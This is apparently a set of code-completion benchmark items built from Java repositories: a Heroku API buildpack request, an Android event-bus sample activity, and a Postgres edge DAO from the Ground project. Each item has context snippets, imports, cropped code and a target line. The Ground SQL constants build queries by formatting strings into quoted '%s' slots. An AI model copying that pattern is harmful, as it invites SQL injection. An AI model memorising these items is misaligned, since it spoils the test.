catch (RuntimeException e) {\n String json = HttpUtil.getUTF8String(data);\n throw new ParseException(\"Failed to parse JSON:\" + json, e);\n }\n }\n\n\n /*\n * slightly modded version of spring GenericTypeResolver methods\n */\n\n\n private static Type[] doResolveTypeArguments(Class ownerClass, Class classToIntrospect, Class genericIfc) {\n while (classToIntrospect != null) {\n if (genericIfc.isInterface()) {\n Type[] ifcs = classToIntrospect.getGenericInterfaces();\n for (Type ifc : ifcs) {\n Type[] result = doResolveTypeArguments(ownerClass, ifc, genericIfc);\n if (result != null) {\n return result;\n }\n }\n } else {\n Type[] result = doResolveTypeArguments(ownerClass, classToIntrospect.getGenericSuperclass(), genericIfc);\n if (result != null) {\n return result;\n }\n }\n classToIntrospect = classToIntrospect.getSuperclass();\n }\n return null;\n }\n\n private static Type[] doResolveTypeArguments(Class ownerClass, Type ifc, Class genericIfc) {\n if (ifc instanceof ParameterizedType) {\n ParameterizedType paramIfc = (ParameterizedType) ifc;\n Type rawType = paramIfc.getRawType();\n if (genericIfc.equals(rawType)) {\n return paramIfc.getActualTypeArguments();\n\n } else if (genericIfc.isAssignableFrom((Class) rawType)) {\n return doResolveTypeArguments(ownerClass, (Class) rawType, genericIfc);\n }\n } else if (ifc != null && genericIfc.isAssignableFrom((Class) ifc)) {\n return doResolveTypeArguments(ownerClass, (Class) ifc, genericIfc);\n }\n return null;\n }\n\n\n}", "public interface Request<T> {\n\n\n /**\n * HTTP method. e.g. GET, POST, PUT, DELETE\n * @return The HTTP method used in the request.\n */\n Http.Method getHttpMethod();\n\n /**\n * Path and query parameters of a URL.\n * @return The path and query parameters as a String.\n */\n String getEndpoint();\n\n /**\n * Whether or not the request has a body.\n * @return true if it has a request body, otherwise false\n */\n boolean hasBody();\n\n /**\n * Value of the request body.\n * @return Body\n * @throws UnsupportedOperationException Generally thrown if {@link #hasBody()} returns false\n */\n String getBody();\n\n /**\n * Value of the request body as a Map.\n * @return Body\n * @throws UnsupportedOperationException Generally thrown if {@link #hasBody()} returns false\n */\n Map<String, ?> getBodyAsMap();\n\n /**\n * HTTP Accept header.\n * @return The Accept header to be used in the request. Typically \"application/json\" or \"text/xml\"\n * @see com.heroku.api.http.Http.Accept\n */\n Http.Accept getResponseType();\n\n /**\n * {@link Map} of request-specific HTTP headers.\n * @return Name/value pairs of HTTP headers.\n */\n Map<String, String> getHeaders();\n\n /**\n * Response handler.\n * @param bytes Data returned from the request.\n * @param status HTTP status code.\n * @return The type {@link T} as specified by an individual request.\n * @throws com.heroku.api.exception.RequestFailedException Generally thrown when the HTTP status code is 4XX.\n */\n T getResponse(byte[] bytes, int status, Map<String,String> headers);\n\n}", "public class RequestConfig {\n\n private String appName;\n\n private final Map<Heroku.RequestKey, RequestConfig.Either> config = new EnumMap<Heroku.RequestKey, RequestConfig.Either>(Heroku.RequestKey.class);\n\n /**\n * Sets the {Heroku.RequestKey.AppName} parameter.\n * @param appName Name of the app to specify in the config.\n * @return A new {@link RequestConfig}\n */\n public RequestConfig app(String appName) {\n this.appName = appName;\n return this;\n }\n\n public String getAppName() {\n return this.appName;\n }\n\n /**\n * Sets a {@link com.heroku.api.Heroku.RequestKey} parameter.\n * @param key Heroku request key\n * @param value value of the property\n * @return A new {@link RequestConfig}\n */\n public RequestConfig with(Heroku.RequestKey key, String value) {\n RequestConfig newConfig = copy();\n newConfig.config.put(key, new Either(value));\n return newConfig;\n }\n\n /**\n * Sets a {@link com.heroku.api.Heroku.RequestKey} parameter.\n * @param key Heroku request key\n * @param value value of the property\n * @return A new {@link RequestConfig}\n */\n public RequestConfig with(Heroku.RequestKey key, Map<Heroku.RequestKey, Either> value) {\n RequestConfig newConfig = copy();\n newConfig.config.put(key, new Either(value));\n return newConfig;\n }\n\n /**\n * Sets a {@link com.heroku.api.Heroku.RequestKey} parameter.\n * @param key Heroku request key\n * @param data arbitrary key/value map\n * @return A new {@link RequestConfig}\n */\n public RequestConfig withOptions(Heroku.RequestKey key, Map<String, String> data) {\n RequestConfig newConfig = copy();\n newConfig.config.put(key, new Either(new Data(data)));\n return newConfig;\n }\n\n public String get(Heroku.RequestKey key) {\n return config.get(key).string();\n }\n\n public Map<Heroku.RequestKey, Either> getMap(Heroku.RequestKey key) {\n return config.get(key).map();\n }\n\n public boolean has(Heroku.RequestKey key){\n return config.containsKey(key);\n }\n\n public String asJson() {\n return Json.encode(asMap());\n }\n\n public Map<String,Object> asMap() {\n return stringifyMap(config);\n }\n\n private Map<String,Object> stringifyMap(Map<Heroku.RequestKey, Either> map) {\n Map<String,Object> jsonMap = new HashMap<>();\n for (Heroku.RequestKey key : map.keySet()) {\n RequestConfig.Either either = map.get(key);\n if (either.is(String.class)) {\n jsonMap.put(key.queryParameter, either.string());\n } else if (either.is(Boolean.class)) {\n jsonMap.put(key.queryParameter, either.bool());\n } else if (either.is(Data.class)) {\n jsonMap.put(key.queryParameter, either.data());\n } else {\n jsonMap.put(key.queryParameter, stringifyMap(either.map()));\n }\n }\n return jsonMap;\n }\n\n private RequestConfig copy() {\n RequestConfig newConfig = new RequestConfig();\n newConfig.app(this.appName);\n newConfig.config.putAll(config);\n return newConfig;\n }\n\n public static class Either {\n\n private Class type;\n\n private String string;\n\n private Boolean bool;\n\n private Data data;\n\n private Map<Heroku.RequestKey, Either> map;\n\n public Either(Boolean value) {\n this.type = Boolean.class;\n this.bool = value;\n }\n\n public Either(String value) {\n this.type = String.class;\n this.string = value;\n }\n\n public Either(Data data) {\n this.type = Data.class;\n this.data = data;\n }\n\n public Either(Map<Heroku.RequestKey, Either> value) {\n this.type = Map.class;\n this.map = value;\n }\n\n public String string() {\n return string;\n }\n\n public Boolean bool() {\n return bool;\n }\n\n public Map<String,String> data() {\n return data.map();\n }\n\n public Map<Heroku.RequestKey, Either> map() {\n return map;\n }\n\n public Boolean is(Class c) {\n return c.equals(type);\n }\n }\n\n public static class Data {\n\n private Map<String, String> map;\n\n public Data(Map<String, String> map) {\n this.map = map;\n }\n\n public Map<String, String> map() {\n return map;\n }\n\n }\n}", "public enum Unit {\n unit;\n}" ]
import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import com.heroku.api.Heroku; import com.heroku.api.exception.RequestFailedException; import com.heroku.api.http.Http; import com.heroku.api.parser.Json; import com.heroku.api.request.Request; import com.heroku.api.request.RequestConfig; import com.heroku.api.response.Unit;
package com.heroku.api.request.buildpacks; /** * @author Joe Kutner on 10/26/17. * Twitter: @codefinger */ public class BuildpackInstallationUpdate implements Request<Unit> { private final RequestConfig config; private final Map<String, List<Map<String,String>>> buildpacks; public BuildpackInstallationUpdate(String appName, List<String> buildpacks) { List<Map<String,String>> buildpackUpdatesList = new ArrayList<>(); for (String b : buildpacks) { Map<String,String> buildpackUpdate = new HashMap<>(); buildpackUpdate.put("buildpack", b); buildpackUpdatesList.add(buildpackUpdate); } this.buildpacks = new HashMap<>(); this.buildpacks.put("updates", buildpackUpdatesList); this.config = new RequestConfig().app(appName); } @Override public Http.Method getHttpMethod() { return Http.Method.PUT; } @Override public String getEndpoint() {
return Heroku.Resource.BuildpackInstalltions.format(config.getAppName());
0
alexvasilkov/Events
sample/src/main/java/com/alexvasilkov/events/sample/ui/activity/RepoDetailsActivity.java
[ "public class Event extends EventBase {\n\n private final Dispatcher dispatcher;\n private final String key;\n private final Object[] params;\n private final Object[] tags;\n\n Event(Builder builder) {\n this.dispatcher = builder.dispatcher;\n this.key = builder.key;\n this.params = ListUtils.toArray(builder.params);\n this.tags = ListUtils.toArray(builder.tags);\n }\n\n public String getKey() {\n return key;\n }\n\n /**\n * Returns value at {@code index} position and implicitly casts it to {@code T}.\n * Returns {@code null} if there is no value for specified {@code index}.\n */\n public <T> T getParam(int index) {\n return ListUtils.get(params, index);\n }\n\n public int getParamsCount() {\n return ListUtils.count(params);\n }\n\n /**\n * Returns value at {@code index} position and implicitly casts it to {@code T}.\n * Returns {@code null} if there is no value for specified {@code index}.\n */\n public <T> T getTag(int index) {\n return ListUtils.get(tags, index);\n }\n\n public int getTagsCount() {\n return ListUtils.count(tags);\n }\n\n\n /**\n * Schedules event's {@code result} to be passed to all available subscribers.<br>\n * This method should only be called inside of method marked with {@link Events.Subscribe}.<br>\n * See {@link Events.Result}.\n */\n public Event postResult(EventResult result) {\n dispatcher.postEventResult(this, result);\n return this;\n }\n\n /**\n * Wraps given {@code params} as {@link EventResult} and passes them to\n * {@link #postResult(EventResult)}.\n */\n public Event postResult(Object... params) {\n return postResult(EventResult.create().result(params).build());\n }\n\n\n /**\n * <p>Two events are considered deeply equal if they have same key and exactly same\n * parameters lists.</p>\n * <p>Parameters are compared using {@link Arrays#deepEquals(Object[], Object[])}, so be sure\n * to have correct implementation of {@link Object#equals(Object)} method for all parameters.\n * </p>\n * <p>If you don't want some of parameters to be compared pass them as tags using\n * {@link Builder#tag(Object...)} builder method.</p>\n */\n public static boolean isDeeplyEqual(@NonNull Event e1, @NonNull Event e2) {\n return e1 == e2 || (e1.key.equals(e2.key) && Arrays.deepEquals(e1.params, e2.params));\n }\n\n\n public static class Builder {\n\n private final Dispatcher dispatcher;\n private final String key;\n private List<Object> params;\n private List<Object> tags;\n\n private boolean isPosted;\n\n Builder(Dispatcher dispatcher, @NonNull String key) {\n if (EventsParams.EMPTY_KEY.equals(key)) {\n throw new EventsException(\"Event key \\\"\" + key\n + \"\\\" is reserved and cannot be used\");\n }\n\n this.dispatcher = dispatcher;\n this.key = key;\n }\n\n /**\n * <p>Appends event's parameters. These values can be accessed either by\n * {@link Event#getParam(int)} method or as method's parameters of corresponding\n * subscribed methods, see {@link Events.Subscribe} annotation.</p>\n */\n public Builder param(Object... params) {\n this.params = ListUtils.append(this.params, params);\n return this;\n }\n\n /**\n * <p>Appends additional (dynamic) event's parameters. These values can be accessed only by\n * {@link Event#getTag(int)} method.</p>\n * <p>See {@link #param(Object...)} method.</p>\n */\n public Builder tag(Object... tags) {\n this.tags = ListUtils.append(this.tags, tags);\n return this;\n }\n\n public Event post() {\n if (isPosted) {\n throw new EventsException(\"Event \" + key + \" | Already posted\");\n } else {\n isPosted = true;\n Event event = new Event(this);\n dispatcher.postEvent(event);\n return event;\n }\n }\n\n }\n\n}", "public enum EventStatus {\n\n STARTED, FINISHED\n\n}", "public class Events {\n\n private static final Dispatcher dispatcher = new Dispatcher();\n\n private Events() {\n // No instances\n }\n\n /**\n * Initializes event bus.\n *\n * @deprecated This method does nothing, do not use it.\n */\n @Deprecated\n @SuppressWarnings(\"unused\")\n public static void init(@NonNull Context context) {}\n\n public static void setDebug(boolean isDebug) {\n EventsParams.setDebug(isDebug);\n }\n\n\n /**\n * Registers target within event bus.\n *\n * @param target Either class instance (for non-static methods registration)\n * or class type (for static methods registration).\n */\n public static void register(@NonNull Object target) {\n dispatcher.register(target);\n }\n\n /**\n * Unregisters target from event bus.\n *\n * @param target Previously registered target.\n */\n public static void unregister(@NonNull Object target) {\n dispatcher.unregister(target);\n }\n\n /**\n * Creates event builder for provided event key.\n */\n public static Event.Builder create(@NonNull String eventKey) {\n return new Event.Builder(dispatcher, eventKey);\n }\n\n /**\n * Creates and post event with provided event key.\n */\n public static Event post(@NonNull String eventKey) {\n return new Event.Builder(dispatcher, eventKey).post();\n }\n\n\n /**\n * <p>Method marked with this annotation will receive events with specified key on main thread.\n * </p>\n * <p>See {@link Background} annotation if you want to receive events on background thread.</p>\n * <p>See {@link Cache} annotation if you want to use cache feature.</p>\n * <p>You may listen for event's execution status using methods annotated with {@link Status}.\n * </p>\n * <p>Object returned from this method will be sent to the bus and can be received by anyone\n * using methods annotated with {@link Result}.<br>\n * You can return {@link EventResult} object which can contain several values.<br>\n * You can also send several results during method execution using\n * {@link Event#postResult(EventResult)} and {@link Event#postResult(Object...)}.</p>\n * <p>Any uncaught exception thrown during method execution will be sent to the bus and can be\n * received using methods annotated with {@link Failure}.</p>\n * <p><b>Allowed method parameters</b>\n * <ul>\n * <li><code>method()</code></li>\n * <li><code>method({@link Event})</code></li>\n * <li><code>method({@link Event}, T1, T2, ...)</code></li>\n * <li><code>method(T1, T2, ...)</code></li>\n * </ul>\n * Where {@code T1, T2, ...} - corresponding types of values passed to\n * {@link Event.Builder#param(Object...)} method. You may also access event's parameters\n * using {@link Event#getParam(int)} method.</p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Subscribe {\n String value();\n }\n\n /**\n * <p>Method marked with this annotation will receive events on background thread.</p>\n * <p>Method must also be marked with {@link Subscribe} annotation.</p>\n * <p>If {@link #singleThread()} set to {@code true} then only one thread will be used to\n * execute this method. All other events targeting this method will wait until it is finished.\n * </p>\n * <p><b>Note</b>: method executed in background should be static to not leek object reference\n * (i.e. Activity reference). To subscribe static methods use {@link Events#register(Object)}\n * method with {@link Class} object.</p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Background {\n boolean singleThread() default false;\n }\n\n /**\n * <p>Method marked with this annotation will use new instance of given {@link CacheProvider}\n * class to handle results caching. See also {@link MemoryCache} implementation.</p>\n * <p>Method must also be marked with {@link Subscribe} annotation.</p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Cache {\n Class<? extends CacheProvider> value();\n }\n\n /**\n * <p>Method marked with this annotation will receive status updates for events\n * with specified key on main thread.<br>\n * <ul>\n * <li>{@link EventStatus#STARTED} status will be sent before any subscribed method is executed\n * (right after event is posted to the bus) and for all newly registered events receivers\n * if execution of all subscribed methods is no yet finished.</li>\n * <li>{@link EventStatus#FINISHED} status will be sent after all subscribed methods\n * (including background) are executed.</li>\n * </ul></p>\n * <p><b>Allowed method parameters</b>\n * <ul>\n * <li><code>method({@link EventStatus})</code></li>\n * <li><code>method({@link Event}, {@link EventStatus})</code></li>\n * </ul></p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Status {\n String value();\n }\n\n /**\n * <p>Method marked with this annotation will receive results for events\n * with specified key on main thread.<br>\n * Result can be accessed either directly as method's parameter or through\n * {@link EventResult} object.</p>\n * <p><b>Allowed method parameters</b>\n * <ul>\n * <li><code>method()</code></li>\n * <li><code>method({@link Event})</code></li>\n * <li><code>method({@link Event}, T1, T2, ...)</code></li>\n * <li><code>method({@link Event}, {@link EventResult})</code></li>\n * <li><code>method(T1, T2, ...)</code></li>\n * <li><code>method({@link EventResult})</code></li>\n * </ul>\n * Where {@code T1, T2, ...} - corresponding types of values returned by method\n * marked with {@link Subscribe} annotation. Same values can be accessed using\n * {@link EventResult#getResult(int)} method.</p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Result {\n String value();\n }\n\n /**\n * <p>Method marked with this annotation will receive failure callbacks for events\n * with specified key on main thread.</p>\n * <p><b>Allowed method parameters</b>\n * <ul>\n * <li><code>method()</code></li>\n * <li><code>method({@link Event})</code></li>\n * <li><code>method({@link Event}, {@link Throwable})</code></li>\n * <li><code>method({@link Event}, {@link EventFailure})</code></li>\n * <li><code>method({@link Throwable})</code></li>\n * <li><code>method({@link EventFailure})</code></li>\n * </ul></p>\n * <p><b>Note</b>: You may skip event key to handle all failures of all events.</p>\n */\n @Target({ ElementType.METHOD })\n @Retention(RetentionPolicy.RUNTIME)\n public @interface Failure {\n String value() default EventsParams.EMPTY_KEY;\n }\n\n}", "public class DataEvents {\n\n public static final String LOAD_REPOSITORIES = \"LOAD_REPOSITORIES\";\n public static final String LOAD_REPOSITORY = \"LOAD_REPOSITORY\";\n public static final String LOAD_README = \"LOAD_README\";\n\n private DataEvents() {}\n\n}", "public class Repository {\n\n private long id;\n private User user;\n private String name;\n private String description;\n private String language;\n private int forks;\n private int stars;\n private int issues;\n\n public long getId() {\n return id;\n }\n\n public void setId(long id) {\n this.id = id;\n }\n\n public User getUser() {\n return user;\n }\n\n public void setUser(User user) {\n this.user = user;\n }\n\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n }\n\n public String getDescription() {\n return description;\n }\n\n public void setDescription(String description) {\n this.description = description;\n }\n\n public String getLanguage() {\n return language;\n }\n\n public void setLanguage(String language) {\n this.language = language;\n }\n\n public int getForks() {\n return forks;\n }\n\n public void setForks(int forks) {\n this.forks = forks;\n }\n\n public int getStars() {\n return stars;\n }\n\n public void setStars(int stars) {\n this.stars = stars;\n }\n\n public int getIssues() {\n return issues;\n }\n\n public void setIssues(int issues) {\n this.issues = issues;\n }\n\n}", "public class ImagesLoader {\n\n private ImagesLoader() {}\n\n public static void init(Context context) {\n Picasso.setSingletonInstance(\n new Picasso.Builder(context).downloader(new OkHttp3Downloader(context)).build());\n }\n\n public static void loadUserAvatar(ImageView image, String avatarUrl) {\n Context context = image.getContext();\n Drawable placeholder = ContextCompat.getDrawable(context, R.drawable.logo_placeholder);\n Picasso.with(image.getContext())\n .load(avatarUrl)\n .placeholder(placeholder)\n .error(placeholder)\n .into(image);\n }\n\n}", "public class RepoExtraView extends LinearLayout {\n\n private final TextView language;\n private final TextView stars;\n private final TextView forks;\n private final TextView issues;\n\n public RepoExtraView(Context context) {\n this(context, null, 0);\n }\n\n public RepoExtraView(Context context, AttributeSet attrs) {\n this(context, attrs, 0);\n }\n\n public RepoExtraView(Context context, AttributeSet attrs, int defStyleAttr) {\n super(context, attrs, defStyleAttr);\n\n Views.inflateAndAttach(this, R.layout.view_repo_extra);\n\n language = Views.find(this, R.id.repo_extra_language);\n stars = Views.find(this, R.id.repo_extra_stars);\n forks = Views.find(this, R.id.repo_extra_forks);\n issues = Views.find(this, R.id.repo_extra_issues);\n\n Tints.tint(stars, Tints.ACCENT);\n Tints.tint(forks, Tints.ACCENT);\n Tints.tint(issues, Tints.ACCENT);\n }\n\n public void setExtras(Repository repository) {\n language.setText(repository.getLanguage());\n stars.setText(String.valueOf(repository.getStars()));\n forks.setText(String.valueOf(repository.getForks()));\n issues.setText(String.valueOf(repository.getIssues()));\n }\n\n}", "public class StatusView extends FrameLayout {\n\n private View logo;\n private View progress;\n\n private int loadingCount;\n private boolean isLoaded;\n private boolean isError;\n\n public StatusView(Context context) {\n this(context, null, 0);\n }\n\n public StatusView(Context context, AttributeSet attrs) {\n this(context, attrs, 0);\n }\n\n public StatusView(Context context, AttributeSet attrs, int defStyleAttr) {\n super(context, attrs, defStyleAttr);\n\n Views.inflateAndAttach(this, R.layout.view_status);\n logo = Views.find(this, R.id.status_logo);\n progress = Views.find(this, R.id.status_progress);\n }\n\n public void setLoading(boolean loading) {\n loadingCount += loading ? 1 : -1;\n updateState();\n }\n\n public void setLoaded(boolean loaded) {\n isLoaded = loaded;\n updateState();\n }\n\n public void setError(boolean error) {\n isError = error;\n updateState();\n }\n\n private void updateState() {\n progress.setVisibility(isLoaded || loadingCount == 0 ? View.INVISIBLE : View.VISIBLE);\n logo.setVisibility(isLoaded ? View.INVISIBLE : View.VISIBLE);\n Tints.tint(logo, isError ? Tints.fromColorRes(R.color.error) : Tints.PRIMARY);\n }\n\n}" ]
import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.design.widget.Snackbar; import android.webkit.WebView; import android.widget.ImageView; import android.widget.TextView; import com.alexvasilkov.android.commons.utils.Views; import com.alexvasilkov.events.Event; import com.alexvasilkov.events.EventStatus; import com.alexvasilkov.events.Events; import com.alexvasilkov.events.Events.Failure; import com.alexvasilkov.events.Events.Result; import com.alexvasilkov.events.Events.Status; import com.alexvasilkov.events.sample.R; import com.alexvasilkov.events.sample.data.DataEvents; import com.alexvasilkov.events.sample.model.Repository; import com.alexvasilkov.events.sample.ui.util.ImagesLoader; import com.alexvasilkov.events.sample.ui.view.RepoExtraView; import com.alexvasilkov.events.sample.ui.view.StatusView;
package com.alexvasilkov.events.sample.ui.activity; public class RepoDetailsActivity extends BaseActivity { private static final String EXTRA_ID = "ID"; private ViewHolder views; public static void open(Context context, long id) { Intent intent = new Intent(context, RepoDetailsActivity.class); intent.putExtra(EXTRA_ID, id); context.startActivity(intent); } private long repositoryId; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); repositoryId = getIntent().getLongExtra(EXTRA_ID, -1L); if (repositoryId == -1L) { throw new IllegalArgumentException("Missing repository id"); } setContentView(R.layout.activity_repo_details); setTitle(R.string.title_repository); getSupportActionBar().setDisplayHomeAsUpEnabled(true); views = new ViewHolder(this); } @Override protected void onPostCreate(@Nullable Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); Events.create(DataEvents.LOAD_REPOSITORY).param(repositoryId).tag(repositoryId).post(); } private void setRepository(Repository repo) { ImagesLoader.loadUserAvatar(views.image, repo.getUser().getAvatar()); views.name.setText(repo.getName()); views.user.setText(getString(R.string.text_repo_by, repo.getUser().getLogin())); views.description.setText(repo.getDescription()); views.extras.setExtras(repo); } @Result(DataEvents.LOAD_REPOSITORY) private void onRepositoryLoaded(Event event, Repository repository) { if (!isTargetEvent(event)) { return; } if (repository == null) { finish(); } else { setRepository(repository); Events.create(DataEvents.LOAD_README).param(repository).tag(repositoryId).post(); } } @Failure(DataEvents.LOAD_REPOSITORY) private void onRepositoryFailed(Event event) { if (!isTargetEvent(event)) { return; } finish(); } @Status(DataEvents.LOAD_README)
private void onReadmeLoadingStatus(Event event, EventStatus status) {
1
ground-context/ground
modules/postgres/app/edu/berkeley/ground/postgres/dao/core/PostgresEdgeDao.java
[ "public interface EdgeDao extends ItemDao<Edge> {\n\n @Override\n default Class<Edge> getType() {\n return Edge.class;\n }\n\n @Override\n Edge retrieveFromDatabase(String sourceKey) throws GroundException;\n\n @Override\n Edge retrieveFromDatabase(long id) throws GroundException;\n\n List<Long> getLeaves(String sourceKey) throws GroundException;\n\n Map<Long, Long> getHistory(String sourceKye) throws GroundException;\n}", "public class GroundException extends Exception {\n\n private static final long serialVersionUID = 1L;\n\n private final String message;\n private final ExceptionType exceptionType;\n\n public enum ExceptionType {\n DB(\"Database Exception:\", \"%s\"),\n ITEM_NOT_FOUND(\"GroundItemNotFoundException\", \"No %s \\'%s\\' found.\"),\n VERSION_NOT_FOUND(\"GroundVersionNotFoundException\", \"No %s \\'%s\\' found.\"),\n ITEM_ALREADY_EXISTS(\"GroundItemAlreadyExistsException\", \"%s %s already exists.\"),\n OTHER(\"GroundException\", \"%s\");\n\n String name;\n String description;\n\n ExceptionType(String name, String description) {\n this.name = name;\n this.description = description;\n }\n\n public String format(String... values) {\n return String.format(this.description, values);\n }\n }\n\n public GroundException(ExceptionType exceptionType, String... values) {\n this.exceptionType = exceptionType;\n this.message = this.exceptionType.format(values);\n }\n\n public GroundException(Exception exception) {\n this.exceptionType = ExceptionType.OTHER;\n this.message = this.exceptionType.format(exception.getMessage());\n }\n\n @Override\n public String getMessage() {\n return this.message;\n }\n\n public ExceptionType getExceptionType() {\n return this.exceptionType;\n }\n}", "public enum ExceptionType {\n DB(\"Database Exception:\", \"%s\"),\n ITEM_NOT_FOUND(\"GroundItemNotFoundException\", \"No %s \\'%s\\' found.\"),\n VERSION_NOT_FOUND(\"GroundVersionNotFoundException\", \"No %s \\'%s\\' found.\"),\n ITEM_ALREADY_EXISTS(\"GroundItemAlreadyExistsException\", \"%s %s already exists.\"),\n OTHER(\"GroundException\", \"%s\");\n\n String name;\n String description;\n\n ExceptionType(String name, String description) {\n this.name = name;\n this.description = description;\n }\n\n public String format(String... values) {\n return String.format(this.description, values);\n }\n}", "public class Edge extends Item {\n\n // the name of this Edge\n @JsonProperty(\"name\")\n private final String name;\n\n // the id of the Node that this EdgeVersion originates from\n @JsonProperty(\"fromNodeId\")\n private final long fromNodeId;\n\n // the id of the Node that this EdgeVersion points to\n @JsonProperty(\"toNodeId\")\n private final long toNodeId;\n\n // the source key for this Edge\n @JsonProperty(\"sourceKey\")\n private final String sourceKey;\n\n /**\n * Construct a new Edge.\n *\n * @param id the edge id\n * @param name the edge name\n * @param sourceKey the user-generated unique key for the edge\n * @param fromNodeId the source node of this edge\n * @param toNodeId the destination node of this edge\n * @param tags the tags associated with this edge\n */\n @JsonCreator\n public Edge(@JsonProperty(\"itemId\") long id,\n @JsonProperty(\"name\") String name,\n @JsonProperty(\"sourceKey\") String sourceKey,\n @JsonProperty(\"fromNodeId\") long fromNodeId,\n @JsonProperty(\"toNodeId\") long toNodeId,\n @JsonProperty(\"tags\") Map<String, Tag> tags) {\n\n super(id, tags);\n\n this.name = name;\n this.fromNodeId = fromNodeId;\n this.toNodeId = toNodeId;\n this.sourceKey = sourceKey;\n }\n\n public Edge(long id, Edge other) {\n super(id, other.getTags());\n\n this.name = other.name;\n this.fromNodeId = other.fromNodeId;\n this.toNodeId = other.toNodeId;\n this.sourceKey = other.sourceKey;\n }\n\n public String getName() {\n return this.name;\n }\n\n public long getFromNodeId() {\n return this.fromNodeId;\n }\n\n public long getToNodeId() {\n return this.toNodeId;\n }\n\n public String getSourceKey() {\n return this.sourceKey;\n }\n\n @Override\n public boolean equals(Object other) {\n if (!(other instanceof Edge)) {\n return false;\n }\n\n Edge otherEdge = (Edge) other;\n\n return this.name.equals(otherEdge.name)\n && this.sourceKey.equals(otherEdge.sourceKey)\n && this.getId() == otherEdge.getId()\n && this.fromNodeId == otherEdge.fromNodeId\n && this.toNodeId == otherEdge.toNodeId\n && this.getTags().equals(otherEdge.getTags());\n }\n}", "@Singleton\npublic class IdGenerator {\n\n private final long prefix;\n private long versionCounter;\n private long successorCounter;\n private long itemCounter;\n\n // If true, only one counter will be used. If false, all three counters will be used.\n private final boolean globallyUnique;\n\n public IdGenerator() {\n this.prefix = 0;\n this.versionCounter = 1;\n this.successorCounter = 1;\n this.itemCounter = 1;\n this.globallyUnique = true;\n }\n\n /**\n * Create a unique id generator.\n *\n * @param machineId the id of this machine\n * @param numMachines the total number of machines\n * @param globallyUnique if true, only one counter will be used for all version\n */\n public IdGenerator(long machineId, long numMachines, boolean globallyUnique) {\n long machineBits = 1;\n long fence = 2;\n\n while (fence < numMachines) {\n fence = fence * 2;\n machineBits++;\n }\n\n this.prefix = machineId << (64 - machineBits);\n\n // NOTE: Do not change this. The version counter is set to start a 1 because 0 is the default\n // empty version.\n this.versionCounter = 1;\n this.successorCounter = 1;\n this.itemCounter = 1;\n\n this.globallyUnique = globallyUnique;\n }\n\n public synchronized long generateVersionId() {\n return prefix | this.versionCounter++;\n }\n\n /**\n * Generate an id for version successors.\n *\n * @return a new id\n */\n public synchronized long generateSuccessorId() {\n if (this.globallyUnique) {\n return prefix | this.versionCounter++;\n } else {\n return prefix | this.successorCounter++;\n }\n }\n\n /**\n * Generate an id for items.\n *\n * @return a new id\n */\n public synchronized long generateItemId() {\n if (this.globallyUnique) {\n return prefix | this.versionCounter++;\n } else {\n return prefix | this.itemCounter++;\n }\n }\n}", "public class SqlConstants {\n\n /* General insert statements */\n public static final String INSERT_GENERIC_ITEM_WITH_NAME = \"INSERT INTO %s (item_id, source_key, name) VALUES (%d, \\'%s\\', \\'%s\\');\";\n public static final String INSERT_GENERIC_ITEM_WITHOUT_NAME = \"INSERT INTO %s (item_id, source_key, name) VALUES (%d, \\'%s\\', null);\";\n\n /* General select statements */\n public static final String SELECT_STAR_BY_SOURCE_KEY = \"SELECT * FROM %s WHERE source_key = \\'%s\\'\";\n public static final String SELECT_STAR_ITEM_BY_ID = \"SELECT * FROM %s WHERE item_id = %d;\";\n public static final String SELECT_STAR_BY_ID = \"SELECT * FROM %s WHERE id = %d;\";\n public static final String DELETE_BY_ID = \"DELETE FROM %s WHERE id = %d\";\n\n /* Version-specific statements */\n public static final String INSERT_VERSION = \"INSERT INTO version (id) VALUES (%d);\";\n\n /* Version Successor-specific statements */\n public static final String INSERT_VERSION_SUCCESSOR = \"INSERT INTO version_successor (id, from_version_id, to_version_id) VALUES (%d, %d, %d);\";\n public static final String SELECT_VERSION_SUCCESSOR = \"SELECT * FROM version_successor where id = %d;\";\n public static final String SELECT_VERSION_SUCCESSOR_BY_ENDPOINT = \"SELECT * FROM version_successor WHERE to_version_id = %d;\";\n public static final String DELETE_VERSION_SUCCESSOR = \"DELETE FROM version_successor WHERE id = %d;\";\n\n /* Version History DAG-specific statements */\n public static final String INSERT_VERSION_HISTORY_DAG_EDGE = \"INSERT INTO version_history_dag (item_id, version_successor_id) VALUES (%d, %d);\";\n public static final String SELECT_VERSION_HISTORY_DAG = \"SELECT * FROM version_history_dag WHERE item_id = %d;\";\n public static final String DELETE_SUCCESSOR_FROM_DAG = \"DELETE FROM version_history_dag WHERE version_successor_id = %d;\";\n\n /* Item-specific statements */\n public static final String INSERT_ITEM = \"INSERT INTO ITEM (id) VALUES (%d);\";\n public static final String INSERT_ITEM_TAG_WITH_VALUE =\n \"INSERT INTO item_tag (item_id, key, value, type) VALUES (%d, \" + \"\\'%s\\', \\'%s\\', \\'%s\\');\";\n public static final String INSERT_ITEM_TAG_NO_VALUE = \"INSERT INTO item_tag (item_id, key, value, type) VALUES (%d, \\'%s\\', null, null);\";\n public static final String SELECT_ITEM_TAGS = \"SELECT * FROM item_tag WHERE item_id = %d;\";\n public static final String SELECT_ITEM_TAGS_BY_KEY = \"SELECT * FROM item_tag WHERE key = \\'%s\\';\";\n\n /* Edge-specific statements */\n public static final String INSERT_EDGE_WITH_NAME =\n \"INSERT INTO edge (item_id, source_key, from_node_id, to_node_id, name) VALUES (%d, \\'%s\\', %d, %d, \\'%s\\');\";\n public static final String INSERT_EDGE_WITHOUT_NAME =\n \"INSERT INTO edge (item_id, source_key, from_node_id, to_node_id, name) VALUES (%d, \\'%s\\', %d, %d, null);\";\n public static final String INSERT_EDGE_VERSION = \"INSERT INTO edge_version (id, edge_id, from_node_version_start_id, from_node_version_end_id, \"\n + 